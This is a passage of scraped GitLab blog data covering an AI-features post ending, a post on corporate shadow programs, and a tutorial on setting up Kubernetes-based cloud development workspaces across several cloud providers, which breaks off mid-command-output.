faster, while putting privacy first in a single application that gives every stakeholder visibility. This includes AI [experiments](https://docs.gitlab.com/ee/policy/experiment-beta-support.html#experiment) such as [GitLab Duo Chat](https://docs.gitlab.com/ee/user/ai_features.html#gitlab-duo-chat), which uses generative AI to answer product-specific questions about GitLab, reducing time spent reviewing the GitLab documentation. Another experiment is the \"fill in merge request description\" capability, which uses AI and content from the proposed changes to fill in a merge request decription template.\n\n![Summarize MR Descriptions](https://about.gitlab.com/images/blogimages/summarize-mr-description.gif)\n\nGitLab Duo’s AI-assisted workflows enable teams in every phase of the software development lifecycle to deliver secure software faster with increased efficiency and reduced cycle times. Learn more about [GitLab Duo here](https://about.gitlab.com/gitlab-duo/).\n",[943,479,790],{"slug":9279,"featured":6,"template":678},"supercharge-productivity-with-gitlab-duo","content:en-us:blog:supercharge-productivity-with-gitlab-duo.yml","Supercharge Productivity With Gitlab Duo","en-us/blog/supercharge-productivity-with-gitlab-duo.yml","en-us/blog/supercharge-productivity-with-gitlab-duo",{"_path":9285,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9286,"content":9292,"config":9298,"_id":9300,"_type":16,"title":9301,"_source":17,"_file":9302,"_stem":9303,"_extension":20},"/en-us/blog/benefits-of-corporate-shadow-programs",{"title":9287,"description":9288,"ogTitle":9287,"ogDescription":9288,"noIndex":6,"ogImage":9289,"ogUrl":9290,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9290,"schema":9291},"Shadow programs give employees a peek into leadership roles","Shadow programs are a great resource if you’re looking to explore new roles, expand your skill set, or learn how decisions are made.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683055/Blog/Hero%20Images/ideaabstract.jpg","https://about.gitlab.com/blog/benefits-of-corporate-shadow-programs","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Shadow programs give employees a peek into leadership roles\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2023-07-17\",\n      }",{"title":9287,"description":9288,"authors":9293,"heroImage":9289,"date":9294,"body":9295,"category":7715,"tags":9296},[2700],"2023-07-17","\nHave you ever wished you could see into your manager's mind or understand the nitty-gritty details that make your organization run smoothly? Well, that's exactly what corporate shadow programs can do for you. They enable you to tag along with senior colleagues during regular workdays. You can witness how they tackle tasks, make decisions, and interact with various stakeholders. It's like getting a peek behind the scenes of your organization.\n\nAt GitLab, we host several shadow programs, including one that lets you [learn from GitLab CEO and co-founder Sid Sijbrandij](https://about.gitlab.com/handbook/ceo/shadow/). Each program aims to give team members a deeper understanding of different parts of our company's operations and processes. The experience empowers individuals to connect their work to the company's broader goals and gain valuable skills for their professional growth. Shadow programs benefit mentees, mentors, and organizations.\n\nThe following are some benefits of a shadow program:\n* [Insight into decision-making processes](#insight-into-decision-making-processes)\n* [Collaboration with leadership teams](#collaboration-with-leadership-teams) \n* [Personalized learning opportunities](#personalized-learning-opportunities) \n* [Cross-functional interactions](#cross-functional-interactions) \n\n## Insight into decision-making processes\nShadow programs can act as your backstage pass to the operational aspects of your organization. As you gain more insight into how your organization works and how decisions are made, you may start to appreciate the complexity that goes into keeping things running. Knowing how all the pieces work together will improve how you collaborate. At GitLab, shadows are able to observe [GitLab values](https://handbook.gitlab.com/handbook/values/) in action: Collaboration, Results, Efficiency, Diversity, Inclusion & Belonging, and Transparency.\n\n> From the perspective of operating the company on a daily basis, I was witness to how decisions were made at the leadership level of the organization. There were e-group meetings in which different topics were discussed, from mergers and acquisitions and sales compensation plans to hiring and team member morale. I was impressed by the camaraderie, collaboration, and great rapport among members of the e-group. Decisions were taken only after a thorough discussion had taken place and everyone was encouraged to participate.\n- *[Cesar Saavedra](https://gitlab.com/csaavedra1), [Being a GitLab CEO Shadow](https://www.linkedin.com/pulse/being-gitlab-ceo-shadow-cesar-saavedra/)*\n\n## Collaboration with leadership teams\nMembers of your executive team can sometimes feel like distant figures in your organization. Shadow programs put employees together with executives and other leaders, making them feel more approachable. This connection not only strengthens bonds across various departments and cultivates a positive work environment, but it can also inspire the shadowing employees to feel confident enough to pursue leadership positions themselves.\n\n> The CEO shadow program is such a great way to give team members insight into how the company works, while also making the company feel more inclusive, and its top-level team members feel more approachable. While I’ve always found Sid to be friendly and down to earth, I know that some people are afraid of approaching their manager with something, let alone someone at or near the top. I somewhat jokingly said to someone that it’s a good reminder that our executives are 'real' people.\n- *[Cynthia Ng](https://gitlab.com/cynthia), [Reflection on my CEO shadow rotation at GitLab](https://cynthiang.ca/2022/01/07/reflection-on-my-ceo-shadow-rotation-at-gitlab/)*\n\n## Personalized learning opportunities \nShadow programs at GitLab offer personalized learning opportunities. You can learn on the job from experienced team members, oftentimes from those with roles above yours. The experience is incredibly valuable, as seen from many of the reflections that GitLab team members have written about their shadow program experiences. The program fosters open communication, creating a pathway for better knowledge sharing across teams.\n\nShadowing also provides an opportunity for employees to be exposed to new situations and learn new skills.\n\n> In this meeting, a variety of different vice presidents and engineering managers discussed error budgets, reliability, and security. The [service-level agreement] requirements, security issues, and corrective actions were discussed. We went over what issues are currently affecting our error budgets and must be remediated. Root causes were analyzed and then a plan was made for remediation. This has shown me the efficiency of having all the information on a single document and then discussing proposals to correct. This makes the meeting flow much easier than not having any data beforehand. \n- *[Fernando Diaz](https://gitlab.com/fjdiaz), [What I learned as a Development Director Shadow at GitLab](https://awkwardferny.medium.com/what-i-learned-as-an-engineering-director-shadow-at-gitlab-1a783cb564d0)*\n\n## Cross-functional interactions \nWith a shadow program in another department or role, you will get the opportunity to experience work outside of your immediate team circle. The exposure can help broaden your understanding of the overall organization and how other teams work. You can develop new skills that prepare you for future opportunities. The relationships you build as a shadow across different groups will also stay with you after the program.\n\n> As an open-source contributor, I had some understanding of how GitLab worked. But during the shadowing week, I got to see the inner workings of the company, how teams collaborate, and how the company operates at scale.\n- *[Siddharth Asthana](https://gitlab.com/edith007), [My experience as a GitLab Hero in Developer Director Shadow Program](https://www.linkedin.com/pulse/my-experience-gitlab-hero-developer-director-shadow-program-asthana/)*\n\n## How to start a shadow program\nHere are some tips to help you start a shadow program at your organization:\n* Set clear expectations and guidelines for the program\n* Arrange flexible schedules that suit both the mentee and the mentor\n* Encourage open discussion and feedback\n* Ensure the program is tailored to meet the needs of participants\n* Implement confidentiality guidelines to protect sensitive information\n* Define the tasks for the participants, such as note-taking or updating the handbook\n* Determine the time commitment of rotations\n* Create opportunities for shadows to contribute such as helping to complete tasks\n\nCheck out our shadow programs for examples of how to structure them:\n* [CEO Shadow Program](https://about.gitlab.com/handbook/ceo/shadow/)\n* [Support Shadow Program](https://about.gitlab.com/handbook/support/#support-shadow-program) \n* [Director of Development Shadow Program](https://about.gitlab.com/handbook/engineering/development/shadow/director-shadow-program.html)\n* [CFO Shadow Program](https://about.gitlab.com/handbook/finance/growth-and-development/cfo-shadow-program/)\n\nMore resources:\n* [15 tips to succeed at GitLab's CEO Shadow program](https://about.gitlab.com/blog/get-the-most-out-of-a-ceo-shadow-program/)\n* [CEO Shadow program impressions and takeaways](https://about.gitlab.com/blog/ceo-shadow-impressions-takeaways/)\n* [The engineering director shadow experience at GitLab](https://about.gitlab.com/blog/engineering-director-shadow/)\n\n\n\n\n",[7715,9297,676],"growth",{"slug":9299,"featured":6,"template":678},"benefits-of-corporate-shadow-programs","content:en-us:blog:benefits-of-corporate-shadow-programs.yml","Benefits Of Corporate Shadow Programs","en-us/blog/benefits-of-corporate-shadow-programs.yml","en-us/blog/benefits-of-corporate-shadow-programs",{"_path":9305,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9306,"content":9312,"config":9318,"_id":9320,"_type":16,"title":9321,"_source":17,"_file":9322,"_stem":9323,"_extension":20},"/en-us/blog/set-up-infrastructure-for-cloud-development-environments",{"title":9307,"description":9308,"ogTitle":9307,"ogDescription":9308,"noIndex":6,"ogImage":9309,"ogUrl":9310,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9310,"schema":9311},"Cloud infrastructure for on-demand development in GitLab","Learn how to set up the requirements, manage Kubernetes clusters in different clouds, create the first workspaces and custom images, and get tips and troubleshooting.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659883/Blog/Hero%20Images/post-cover-image.jpg","https://about.gitlab.com/blog/set-up-infrastructure-for-cloud-development-environments","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Set up your infrastructure for on-demand, cloud-based development environments in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2023-07-13\",\n      }",{"title":9313,"description":9308,"authors":9314,"heroImage":9309,"date":9315,"body":9316,"category":734,"tags":9317},"Set up your infrastructure for on-demand, cloud-based development environments in GitLab",[4808],"2023-07-13","Cloud-based development environments enable a better developer onboarding experience and help make teams more efficient. In this tutorial, you'll learn how to ready your infrastructure for on-demand, cloud-based development environments. You'll also learn how to set up the requirements, manage Kubernetes clusters in different clouds, create your first workspaces and custom images, and get tips for troubleshooting.\n\nThe GitLab agent for Kubernetes, an OAuth GitLab app, and a proxy pod deployment make the setup reproducible in different Kubernetes cluster environments and follow cloud-native best practices. Bringing your infrastructure allows platform teams to store the workspace data securely, control resource usage, harden security, and troubleshoot the deployments in known ways.\n\nThis blog post is a long read so feel free to navigate to the sections of interest. However, if you want to follow the tutorial step by step, the sections depend on one another for the parts pertaining to infrastructure setup.\n\n- [Development environments on your infrastructure](#development-environments-on-your-infrastructure)\n- [Requirements](#requirements)\n    - [Workspaces domain](#workspaces-domain)\n    - [TLS certificates](#tls-certificates)\n- [GitLab OAuth application ](#gitlab-oauth-application)\n- [Kubernetes cluster setup](#kubernetes-cluster-setup)\n    - [Set up infrastructure with Google Kubernetes Engine (GKE)](#set-up-infrastructure-with-google-kubernetes-engine=gke)\n    - [Set up infrastructure with Amazon Elastic Kubernetes Service (EKS)](#set-up-infrastructure-with-amazon-elastic-kubernetes-service-eks)\n    - [Set up infrastructure with Azure Managed Kubernetes Service (AKS)](#set-up-infrastructure-with-azure-managed-kubernetes-service-aks)\n    - [Set up infrastructure with Civo Cloud Kubernetes](#set-up-infrastructure-with-civo-cloud-kubernetes)\n    - [Set up infrastructure with self-managed Kubernetes](#set-up-infrastructure-with-self-managed-kubernetes)\n- [Workspaces proxy installation into Kubernetes](#workspaces-proxy-installation-into-kubernetes)\n- [Agent for Kubernetes installation](#agent-for-kubernetes-installation)\n- [Workspaces creation](#workspaces-creation)\n    - [Create the first workspaces](#create-the-first-workspaces)\n    - [Custom workspace container images](#custom-workspace-container-images)\n- [Tips](#tips)\n    - [Certificate management](#certificate-management)\n    - [Troubleshooting](#troubleshooting)\n    - [Contribute](#contribute)\n- [Share your feedback](#share-your-feedback)\n\n## Development environments on your infrastructure\nSecure, on-demand, cloud-based development workspaces are [available in beta for public projects](/blog/introducing-workspaces-beta/) for Premium and Ultimate customers. The first iteration allows you to bring your own infrastructure as a Kubernetes cluster. GitLab already deeply integrates with Kubernetes through the GitLab agent for Kubernetes, setting the foundation for configuration and cluster management.\n\nUsers can define and use a development environment template in a project. Workspaces in GitLab support the [devfile specification](https://docs.gitlab.com/ee/user/workspace/#devfile) as `.devfile.yaml` in the project repository root. The devfile attributes allow configuring of the workspace. For example, the `image` attribute specifies the container image to run and create the workspace in isolated container environments. The containers require a cluster orchestrator, such as Kubernetes, that manages resource usage and ensures data security and safety. Workspaces also need authorization: Project source code may contain sensitive intellectual property or otherwise confidential data in specific environments. The setup requires a GitLab OAuth application as the foundation here.\n\nThe following steps provide an in-depth setup guide for different cloud providers. If you prefer to set up your own environment, please follow the [documentation for workspace prerequisites](https://docs.gitlab.com/ee/user/workspace/#prerequisites). In general, we will practice the following steps:\n0. (Optional) Register a workspaces domain, and create TLS certificates.\n1. Create a Kubernetes cluster and configure access and requirements.\n2. Install an Ingress controller.\n3. Set up the workspaces proxy with the domain, TLS certificates, and OAuth app.\n4. Create a new GitLab group with a GitLab agent project. The agent can be used for all projects in that group.\n5. Install the GitLab agent for Kubernetes using the UI provided Helm chart command.\n6. Create an example project with a devfile configuration for workspaces.\n\nSome commands do not use the terminal indicator (`$` or `#`) to support easier copy-paste of command blocks into terminals.\n\n## Requirements\nThe steps in this blog post require the following CLI tools:\n1. `kubectl` and `helm` for Kubernetes\n2. `certbot` for Let's Encrypt\n3. git, curl, dig, openssl, and sslscan for troubleshooting\n\n### Workspaces domain\nWorkspaces require a domain with DNS entries. Cloud providers, for example, Google Cloud, also provide domain services which integrate more easily. You can also register and manage domains with your preferred provider.\n\nThe required DNS entries will be:\n- Wildcard DNS (`*.remote-dev.dev`) and hostname (`remote-dev.dev`) A/AAAA records pointing to the external Kubernetes external IP: `kubectl get services -A`\n- (Optional, with Let's Encrypt) ACME DNS challenge entries as TXT records\n\nAfter acquiring a domain, wait until the Kubernetes setup is ready and extract the A/AAAA records for the DNS settings. The following example shows how `remote-dev.dev` is configured in the Google Cloud DNS service.\n\n![GitLab remote development workspaces, example DNS configuration for remote-dev.dev](https://about.gitlab.com/images/blogimages/infrastructure-cloud-development-environments/gitlab_remote_dev_workspaces_google_cloud_dns_remote-dev.dev-entries.png){: .shadow}\n\nExport shell variables that define the workspaces domains, and the email contact. These variables will be used in all setup steps below.\n\n```\nexport EMAIL=\"user@company.com\"\nexport GITLAB_WORKSPACES_PROXY_DOMAIN=\"remote-dev.dev\"\nexport GITLAB_WORKSPACES_WILDCARD_DOMAIN=\"*.remote-dev.dev\"\n```\n\n**Note:** This blog post will show the example domain `remote-dev.dev` for better understanding with a working example. The domain `remote-dev.dev` is maintained by the [Developer Evangelism team at GitLab](/handbook/marketing/developer-relations/developer-evangelism/projects/). There are no public demo environments available at the time of writing this blog post.\n\n### TLS certificates\nTLS certificates can be managed with different methods. To get started quickly, it is recommended to follow the [documentation steps](https://docs.gitlab.com/ee/user/workspace/#prerequisites) with Let's Encrypt and later consider production requirements with TLS certificates.\n\n```shell\ncertbot -d \"${GITLAB_WORKSPACES_PROXY_DOMAIN}\" \\\n  -m \"${EMAIL}\" \\\n  --config-dir ~/.certbot/config \\\n  --logs-dir ~/.certbot/logs \\\n  --work-dir ~/.certbot/work \\\n  --manual \\\n  --preferred-challenges dns certonly\n\n  certbot -d \"${GITLAB_WORKSPACES_WILDCARD_DOMAIN}\" \\\n  -m \"${EMAIL}\" \\\n  --config-dir ~/.certbot/config \\\n  --logs-dir ~/.certbot/logs \\\n  --work-dir ~/.certbot/work \\\n  --manual \\\n  --preferred-challenges dns certonly\n```\n\nThe Let's Encrypt CLI prompts you for the ACME DNS challenge. This requires setting TXT records for the challenge session immediately. Add the DNS records and specify a low TTL (time-to-live) of 300 seconds to update the records during the first steps.\n\n```\n_acme-challenge TXT \u003Cstringfromletsencryptacmechallenge>\n```\n\nYou can verify the DNS records using the `dig` CLI command.\n\n```shell\n$ dig _acme-challenge.remote-dev.dev txt\n...\n;; ANSWER SECTION:\n_acme-challenge.remote-dev.dev.\t246 IN\tTXT\t\"TlGRM9JGdXHGVklPWgytflxWDF82Sv04nF--Wl9JFvg\"\n_acme-challenge.remote-dev.dev.\t246 IN\tTXT\t\"CqG_54w6I0heWF3wLMAmUAitPcUMs9qAU9b8QhBWFj8\"\n```\n\nOnce the Let's Encrypt routine is complete, note the TLS certificate location.\n\n```\nSuccessfully received certificate.\nCertificate is saved at: /Users/mfriedrich/.certbot/config/live/remote-dev.dev/fullchain.pem\nKey is saved at:         /Users/mfriedrich/.certbot/config/live/remote-dev.dev/privkey.pem\nThis certificate expires on 2023-08-15.\nThese files will be updated when the certificate renews.\n\nSuccessfully received certificate.\nCertificate is saved at: /Users/mfriedrich/.certbot/config/live/remote-dev.dev-0001/fullchain.pem\nKey is saved at:         /Users/mfriedrich/.certbot/config/live/remote-dev.dev-0001/privkey.pem\nThis certificate expires on 2023-08-15.\nThese files will be updated when the certificate renews.\n```\n\nExport the TLS certificate paths into environment variables for the following setup steps.\n\n```shell\nexport WORKSPACES_DOMAIN_CERT=\"${HOME}/.certbot/config/live/${GITLAB_WORKSPACES_PROXY_DOMAIN}/fullchain.pem\"\nexport WORKSPACES_DOMAIN_KEY=\"${HOME}/.certbot/config/live/${GITLAB_WORKSPACES_PROXY_DOMAIN}/privkey.pem\"\n\nexport WILDCARD_DOMAIN_CERT=\"${HOME}/.certbot/config/live/${GITLAB_WORKSPACES_PROXY_DOMAIN}-0001/fullchain.pem\"\nexport WILDCARD_DOMAIN_KEY=\"${HOME}/.certbot/config/live/${GITLAB_WORKSPACES_PROXY_DOMAIN}-0001/privkey.pem\"\n```\n\n**Note**: If you prefer to use your certificates, please copy the files into a safe location, and export the environment variables with the path details.\n\n## GitLab OAuth application\n_After preparing the requirements, continue with the components setup._\n\nCreate a [group-owned OAuth application](https://docs.gitlab.com/ee/integration/oauth_provider.html) for the remote development workspaces group. Creating a centrally managed app with a service account or group with limited access is recommended for production use.\n\nNavigate into the group `Settings > Applications` and specify the following values:\n\n1. Name: `Remote Development workspaces by \u003Cresponsible team> - \u003Cdomain>`. Add the reponsible team that is trusted in your organization. For debugging, add the domain. There might be multiple authorization groups, this helps the identification which workspace domain is used.\n2. Redirect URI: `https://\u003CGITLAB_WORKSPACES_PROXY_DOMAIN>/auth/callback`. Replace `GITLAB_WORKSPACES_PROXY_DOMAIN` with the domain string value.\n3. Set the scopes to `api, read_user, openid, profile` .\n\n![GitLab remote development workspaces, OAuth application in the group settings](https://about.gitlab.com/images/blogimages/infrastructure-cloud-development-environments/gitlab_remote_dev_workspaces_oauth_app_create.png){: .shadow}\n\nStore the OAuth application details in your password vault, and export them as shell environment variables for the next setup steps.\n\nCreate a configuration secret for the proxy as a signing key (`SIGNING_KEY`), and store it in a safe place (for example, use a secrets vault like 1Password to create and store the key).\n\n```\nexport CLIENT_ID=\"XXXXXXXXX\" # Look into password vault and set\nexport CLIENT_SECRET=\"XXXXXXXXXX\" # Look into password vault and set\nexport REDIRECT_URI=\"https://${GITLAB_WORKSPACES_PROXY_DOMAIN}/auth/callback\"\n\nexport GITLAB_URL=\"https://gitlab.com\" # Replace with your self-managed GitLab instance URL if not using GitLab.com SaaS\nexport SIGNING_KEY=\"a_random_key_consisting_of_letters_numbers_and_special_chars\" # Look into password vault and set\n```\n\n## Kubernetes cluster setup\nThe following sections describe how to set up a Kubernetes cluster in different cloud and on-premises environments and install an [ingress controller](https://kubernetes.io/docs/concepts/services-networking/ingress-controllers/) for HTTP access. After completing the Kubernetes setup, you can continue with the workspaces proxy and agent setup steps.\n\n**Choose one method to create a Kubernetes cluster. Note: Use `amd64` as platform architecture [until multi-architecture support is available for running workspaces](https://gitlab.com/groups/gitlab-org/-/epics/10594).** Cloud environments with Arm support will not work yet, for example AWS EKS on Graviton EC2 instances.\n\nYou should have defined the following variables from the previous setup steps:\n\n```sh\nexport EMAIL=\"user@company.com\"\nexport GITLAB_WORKSPACES_PROXY_DOMAIN=\"remote-dev.dev\"\nexport GITLAB_WORKSPACES_WILDCARD_DOMAIN=\"*.remote-dev.dev\"\n\nexport WORKSPACES_DOMAIN_CERT=\"${HOME}/.certbot/config/live/${GITLAB_WORKSPACES_PROXY_DOMAIN}/fullchain.pem\"\nexport WORKSPACES_DOMAIN_KEY=\"${HOME}/.certbot/config/live/${GITLAB_WORKSPACES_PROXY_DOMAIN}/privkey.pem\"\n\nexport WILDCARD_DOMAIN_CERT=\"${HOME}/.certbot/config/live/${GITLAB_WORKSPACES_PROXY_DOMAIN}-0001/fullchain.pem\"\nexport WILDCARD_DOMAIN_KEY=\"${HOME}/.certbot/config/live/${GITLAB_WORKSPACES_PROXY_DOMAIN}-0001/privkey.pem\"\n\nexport CLIENT_ID=\"XXXXXXXXX\" # Look into password vault and set\nexport CLIENT_SECRET=\"XXXXXXXXXX\" # Look into password vault and set\nexport REDIRECT_URI=\"https://${GITLAB_WORKSPACES_PROXY_DOMAIN}/auth/callback\"\n\nexport GITLAB_URL=\"https://gitlab.com\" # Replace with your self-managed GitLab instance URL if not using GitLab.com SaaS\nexport SIGNING_KEY=\"XXXXXXXX\" # Look into password vault and set\n\n```\n\n### Set up infrastructure with Google Kubernetes Engine (GKE)\n\n[Install and configure the Google Cloud SDK and `gcloud` CLI](https://cloud.google.com/sdk/docs/install?hl=en), and install the `gke-gcloud-auth-plugin` plugin to authenticate against Google Cloud.\n\n```shell\nbrew install --cask google-cloud-sdk\n\ngcloud components install gke-gcloud-auth-plugin\n\ngcloud auth login\n```\n\nCreate a new GKE cluster using the `gcloud` command, or follow the steps in the Google Cloud Console.\n\n```shell\n\nexport GCLOUD_PROJECT=group-community\nexport GCLOUD_CLUSTER=de-remote-development-1\n\ngcloud config set project $GCLOUD_PROJECT\n\n# Create cluster (modify for your needs)\ngcloud container clusters create $GCLOUD_CLUSTER \\\n    --release-channel stable \\\n    --zone us-central1-c \\\n    --project $GCLOUD_PROJECT\n\n# Verify cluster\ngcloud container clusters list\n\nNAME                     LOCATION         MASTER_VERSION   MASTER_IP       MACHINE_TYPE  NODE_VERSION       NUM_NODES  STATUS\nde-remote-development-1  us-central1-c    1.26.3-gke.1000  34.136.33.199   e2-medium     1.26.3-gke.1000    3          RUNNING\n\ngcloud container clusters get-credentials $GCLOUD_CLUSTER --zone us-central1-c --project $GCLOUD_PROJECT\nFetching cluster endpoint and auth data.\nkubeconfig entry generated for de-remote-development-1.\n```\n\n1. The setup requires the [`Kubernetes Engine Admin` role in Google IAM](https://cloud.google.com/kubernetes-engine/docs/concepts/access-control?hl=en#recommendations) to create ClusterRoleBindings.\n2. Create a new Kubernetes cluster (do not use Autopilot).\n3. Ensure that [cluster autoscaling](https://cloud.google.com/kubernetes-engine/docs/concepts/cluster-autoscaler?hl=en) is enabled in the GKE cluster.\n4. Verify that a [default Storage Class](https://cloud.google.com/kubernetes-engine/docs/concepts/persistent-volumes?hl=en#storageclasses) has been defined.\n5. Install an Ingress controller, for example [ingress-nginx](https://kubernetes.github.io/ingress-nginx/deploy/#gce-gke). Follow the documentation and run the following commands to install `ingress-nginx` into the Kubernetes cluster.\n\n```shell\nkubectl create clusterrolebinding cluster-admin-binding \\\n  --clusterrole cluster-admin \\\n  --user $(gcloud config get-value account)\n\nkubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.7.1/deploy/static/provider/cloud/deploy.yaml\n```\n\nPrint the external IP for the DNS records, and update wildcard DNS (`*.remote-dev.dev`) and hostname (`remote-dev.dev`).\n\n```shell\ngcloud container clusters list\n\nkubectl get services -A\n```\n\n### Set up infrastructure with Amazon Elastic Kubernetes Service (EKS)\nCreating an Amazon EKS cluster requires [cluster IAM roles](https://docs.aws.amazon.com/eks/latest/userguide/create-cluster.html). You can the [`eksctl` CLI for Amazon EKS](https://eksctl.io/), which automatically creates the roles. `eksctl` [requires the AWS IAM Authenticator for Kubernetes](https://github.com/weaveworks/eksctl/blob/main/README.md#prerequisite), which will get pulled with Homebrew automatically on macOS.\n\n```shell\nbrew install eksctl awscli aws-iam-authenticator\naws configure\n\neksctl create cluster --name remote-dev \\\n    --region us-west-2 \\\n    --node-type m5.xlarge \\\n    --nodes 3 \\\n    --nodes-min=1 \\\n    --nodes-max=4 \\\n    --version=1.26 \\\n    --asg-access\n```\n\nThe eksctl command uses the [`--asg-access`, `--nodes-min/max` parameters for auto-scaling](https://eksctl.io/usage/autoscaling/). The autoscaler requires [additional configuration steps](https://github.com/kubernetes/autoscaler/blob/master/cluster-autoscaler/cloudprovider/aws/README.md), alternatively [Karpenter is supported in Amazon EKS](https://karpenter.sh/docs/getting-started/getting-started-with-karpenter/). Review the [autoscaling documentation](https://docs.aws.amazon.com/eks/latest/userguide/autoscaling.html), and [default Storage Class `gp2`](https://docs.aws.amazon.com/eks/latest/userguide/storage-classes.html) fulfilling the requirements. The Kubernetes configuration is automatically updated locally.\n\nInstall the [Nginx Ingress controller for EKS](https://kubernetes.github.io/ingress-nginx/deploy/#aws). Follow the documentation and run the following command to install `ingress-nginx` into the Kubernetes cluster.\n\n```shell\nkubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.8.0/deploy/static/provider/aws/deploy.yaml\n```\n\nPrint the external IP for the DNS records, and update wildcard DNS (`*.remote-dev.dev`) and hostname (`remote-dev.dev`).\n\n```shell\neksctl get cluster --region us-west-2 --name remote-dev\n\nkubectl get services -A\n```\n\n### Set up infrastructure with Azure Managed Kubernetes Service (AKS)\nInstall [Azure CLI](https://learn.microsoft.com/en-us/azure/aks/learn/quick-kubernetes-deploy-cli).\n\n```shell\nbrew install azure-cli\n\naz login\n```\n\nReview the documentation for the [cluster autoscaler in AKS](https://learn.microsoft.com/en-us/azure/aks/cluster-autoscaler) and the [default Storage Class being `managed-csi`](https://learn.microsoft.com/en-us/azure/aks/concepts-storage#storage-classes), create a new resource group, and create a new Kubernetes cluster. Download the Kubernetes configuration to continue with the `kubectl` commands.\n\n```shell\naz group create --name remote-dev-rg --location eastus\n\naz aks create \\\n--resource-group remote-dev-rg \\\n--name remote-dev \\\n--node-count 1 \\\n--vm-set-type VirtualMachineScaleSets \\\n--load-balancer-sku standard \\\n--enable-cluster-autoscaler \\\n--min-count 1 \\\n--max-count 3\n\naz aks get-credentials --resource-group remote-dev-rg --name remote-dev\n```\n\nInstall the [Nginx ingress controller in AKS](https://learn.microsoft.com/en-us/azure/aks/ingress-basic?tabs=azure-cli#basic-configuration). Follow the documentation and run the following commands to install `ingress-nginx` into the Kubernetes cluster.\n\n```shell\nNAMESPACE=ingress-basic\n\nhelm repo add ingress-nginx https://kubernetes.github.io/ingress-nginx\nhelm repo update\n\nhelm install ingress-nginx ingress-nginx/ingress-nginx \\\n  --create-namespace \\\n  --namespace $NAMESPACE \\\n  --set controller.service.annotations.\"service\\.beta\\.kubernetes\\.io/azure-load-balancer-health-probe-request-path\"=/healthz\n```\n\nPrint the external IP for the DNS records, and update wildcard DNS (`*.remote-dev.dev`) and hostname (`remote-dev.dev`).\n\n```shell\nkubectl get services --namespace ingress-basic -o wide -w ingress-nginx-controller\n\nkubectl get services -A\n```\n\n### Set up infrastructure with Civo Cloud Kubernetes\nInstall and configure the [Civo CLI](https://www.civo.com/docs/kubernetes/create-a-cluster#creating-a-cluster-using-civo-cli), and create a Kubernetes cluster using 2 nodes, 4 CPUs, 8 GB RAM.\n\n```shell\ncivo kubernetes create remote-dev -n 2 -s g4s.kube.large\n\ncivo kubernetes config remote-dev --save\nkubectl config use-context remote-dev\n```\n\nYou have full permissions on the cluster to create ClusterRoleBindings. The [default Storage Class](https://www.civo.com/docs/kubernetes/kubernetes-volumes#creating-a-persistent-volume-claim-pvc) is set to 'civo-volume'.\n\nInstall the [Nginx Ingress controller using Helm](https://kubernetes.github.io/ingress-nginx/deploy/#quick-start). Follow the documentation and run the following command to install `ingress-nginx` into the Kubernetes cluster.\n\n```shell\nhelm upgrade --install ingress-nginx ingress-nginx \\\n  --repo https://kubernetes.github.io/ingress-nginx \\\n  --namespace ingress-nginx --create-namespace\n\n```\n\nPrint the external IP for the DNS records, and update wildcard DNS (`*.remote-dev.dev`) and hostname (`remote-dev.dev`).\n\n```shell\ncivo kubernetes show remote-dev\n\nkubectl get services -A\n```\n\n### Set up infrastructure with self-managed Kubernetes\nThe process follows similar steps, requiring a user with permission to create `ClusterRoleBinding` resources. The [Nginx Ingress controller](https://kubernetes.github.io/ingress-nginx/deploy/#quick-start) is the fastest path forward. Once the cluster is ready, print the load balancer IP for the DNS records, and create/update A/AAAA record for wildcard DNS (`*.remote-dev.dev`) and hostname (`remote-dev.dev`) pointing to the load balancer IP.\n\n## Workspaces proxy installation into Kubernetes\n_After completing the Kubernetes cluster setup with one of your preferred providers, please continue with the next steps._\n\nAdd the Helm repository for the workspaces proxy (it is using the [Helm charts feature in the GitLab package registry](https://docs.gitlab.com/ee/user/packages/helm_repository/)).\n\n```shell\nhelm repo add gitlab-workspaces-proxy \\\n  https://gitlab.com/api/v4/projects/gitlab-org%2fremote-development%2fgitlab-workspaces-proxy/packages/helm/devel\n```\n\nInstall the gitlab-workspaces-proxy, and optionally [specify the most current chart version](https://gitlab.com/gitlab-org/remote-development/gitlab-workspaces-proxy/-/blob/main/helm/Chart.yaml). If you are using a different ingress controller than Nginx, you need to change the `ingress.className` key. Re-run the command when new TLS certificates need to be installed.\n\n```shell\nhelm repo update\n\nhelm upgrade --install gitlab-workspaces-proxy \\\n  gitlab-workspaces-proxy/gitlab-workspaces-proxy \\\n  --version 0.1.6 \\\n  --namespace=gitlab-workspaces \\\n  --create-namespace \\\n  --set=\"auth.client_id=${CLIENT_ID}\" \\\n  --set=\"auth.client_secret=${CLIENT_SECRET}\" \\\n  --set=\"auth.host=${GITLAB_URL}\" \\\n  --set=\"auth.redirect_uri=${REDIRECT_URI}\" \\\n  --set=\"auth.signing_key=${SIGNING_KEY}\" \\\n  --set=\"ingress.host.workspaceDomain=${GITLAB_WORKSPACES_PROXY_DOMAIN}\" \\\n  --set=\"ingress.host.wildcardDomain=${GITLAB_WORKSPACES_WILDCARD_DOMAIN}\" \\\n  --set=\"ingress.tls.workspaceDomainCert=$(cat ${WORKSPACES_DOMAIN_CERT})\" \\\n  --set=\"ingress.tls.workspaceDomainKey=$(cat ${WORKSPACES_DOMAIN_KEY})\" \\\n  --set=\"ingress.tls.wildcardDomainCert=$(cat ${WILDCARD_DOMAIN_CERT})\" \\\n  --set=\"ingress.tls.wildcardDomainKey=$(cat ${WILDCARD_DOMAIN_KEY})\" \\\n  --set=\"ingress.className=nginx\"\n```\n\nThe chart installs and configures the ingress automatically. You can verify the setup by getting the `Ingress` resource type:\n\n```shell\nkubectl get ingress -n gitlab-workspaces\n\nNAME                      CLASS   HOSTS                             ADDRESS   